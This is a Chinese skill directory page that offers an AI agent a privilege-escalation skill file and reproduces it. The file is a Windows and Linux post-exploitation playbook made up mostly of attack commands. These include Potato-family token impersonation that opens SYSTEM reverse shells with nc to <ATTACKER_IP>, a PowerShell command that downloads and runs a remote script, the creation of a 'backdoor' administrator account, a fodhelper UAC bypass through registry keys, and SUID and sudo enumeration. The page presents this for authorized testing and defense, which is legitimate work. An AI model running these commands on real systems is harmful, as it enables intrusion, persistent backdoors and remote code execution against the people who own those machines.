跳到正文
Skillpedia
安全6.5k · #14138

privilege-escalation

它能做什么

本知识库介绍低权限账户如何在 Windows 和 Linux 系统上获得更高权限。适用于审查权限设置的防御者和经授权的测试人员。

适用场景

  • ✓当经授权的测试从一个低权限账户开始,需要找到通往管理员权限的路径时。
  • ✓当团队检查拥有模拟权限的 Windows 服务账户时。
  • ✓当 Linux 团队想检查其 sudo、特殊权限文件和内核版本时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们的一台 Windows 服务器上有一个低权限账户。在我们的测试范围内,能否检查它是否能获得管理员权限?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体会先枚举权限设置,然后检查最可能的路径,例如服务权限和模拟权限,并报告需要修复的问题。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Privilege Escalation Knowledge Base

Privilege escalation raises access from a low-privilege foothold to SYSTEM/root or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting — automated tools identify the fastest route.

Quick Reference

# Windows — GodPotato (service account → SYSTEM)
GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\proof.txt"

# Windows — PrintSpoofer (service account → SYSTEM)
PrintSpoofer.exe -i -c cmd

# Windows — winPEAS automated enumeration
winPEASx64.exe servicesinfo applicationsinfo > C:\Windows\Temp\winpeas.txt

# Linux — linPEAS automated enumeration
./linpeas.sh -a | tee linpeas_<TARGET>.txt

# Linux — find SUID binaries
find / -perm -4000 -type f 2>/dev/null | tee suid_<TARGET>.txt

# Linux — check sudo privileges
sudo -l

MITRE ATT&CK Mapping

Technique ID Name Tools
T1134.001 Token Impersonation/Theft GodPotato, PrintSpoofer, SigmaPotato
T1548.002 Bypass UAC fodhelper.exe, eventvwr.exe, CMSTPLUA COM
T1574.001 DLL Search Order Hijacking Custom DLL placement
T1068 Exploitation for Privilege Escalation Kernel exploits, linux-exploit-suggester
T1053.003 Scheduled Task/Cron Writable cron scripts, PATH injection

1. Windows Token Impersonation — Potato Family

GodPotato (Most Versatile)

# Execute command as SYSTEM (DCOM-based token impersonation)
GodPotato.exe -cmd "cmd /c whoami"

# Reverse shell as SYSTEM
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

# Add local admin user
GodPotato.exe -cmd "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add"

# Execute PowerShell payload
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"

GodPotato Details:

  • Works on Windows 8 through 11, Server 2012 through 2022
  • Exploits DCOM (Distributed COM) OXID resolver
  • Requires: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
  • Common contexts: IIS AppPool, SQL Server, service accounts

PrintSpoofer (Print Spooler Named Pipe)

# Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd

# Execute specific command as SYSTEM
PrintSpoofer.exe -c "cmd /c whoami > C:\Windows\Temp\proof.txt"

# Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

# With PowerShell
PrintSpoofer.exe -i -c powershell.exe

PrintSpoofer Details:

  • Works on Windows 10, Server 2016 and 2019
  • Exploits Print Spooler service named pipe impersonation
  • Requires: SeImpersonatePrivilege
  • May fail if Print Spooler service is disabled (hardened environments)

SigmaPotato (Extended GodPotato Fork)

# Standard SYSTEM execution
SigmaPotato.exe --revshell -l <ATTACKER_IP> -p 4444

# Execute arbitrary command
SigmaPotato.exe "cmd /c whoami"

# Uses .NET reflection for in-memory execution
SigmaPotato.exe "powershell -ep bypass -c Get-Process"

SigmaPotato Details:

  • Extended OS support beyond GodPotato
  • Uses .NET reflection for flexibility
  • Same prerequisites: SeImpersonatePrivilege

Choosing the Right Potato

Tool OS Range Method Best For
GodPotato Win 8-11, 2012-2022 DCOM OXID Default choice, widest support
PrintSpoofer Win 10, 2016-2019 Print Spooler pipe When Spooler is running
SigmaPotato Extended range DCOM + .NET reflection GodPotato alternative
JuicyPotato Win 7-10, 2008-2016 DCOM BITS Legacy systems only
RoguePotato Win 10 1809+, 2019 OXID + RPC When OXID resolver patched

Check Prerequisites

# Verify you have impersonation privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

# Common service accounts with SeImpersonatePrivilege:
# - IIS AppPool\DefaultAppPool
# - NT Service\MSSQLSERVER
# - Local Service / Network Service (some configs)

2. UAC Bypass Techniques

fodhelper.exe Bypass

# Set registry key to execute payload when fodhelper runs
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f

# Trigger UAC bypass
fodhelper.exe

# Cleanup
reg delete HKCU\Software\Classes\ms-settings /f

常见问题

为什么要先枚举?

指南指出,自动化检查能最快找到路径,因此测试人员不必靠猜测。

什么是令牌模拟?

指服务账户可以接管另一个登录会话的权限,指南将其视为常见风险。

防御者如何降低风险?

限制模拟权限、修补系统,并移除不需要的特殊权限。

详情

作者的原始描述

Host privilege escalation — Windows token impersonation, UAC bypass, service abuse, DLL hijacking, Linux SUID/sudo/kernel exploits, automated enumeration.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14138
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能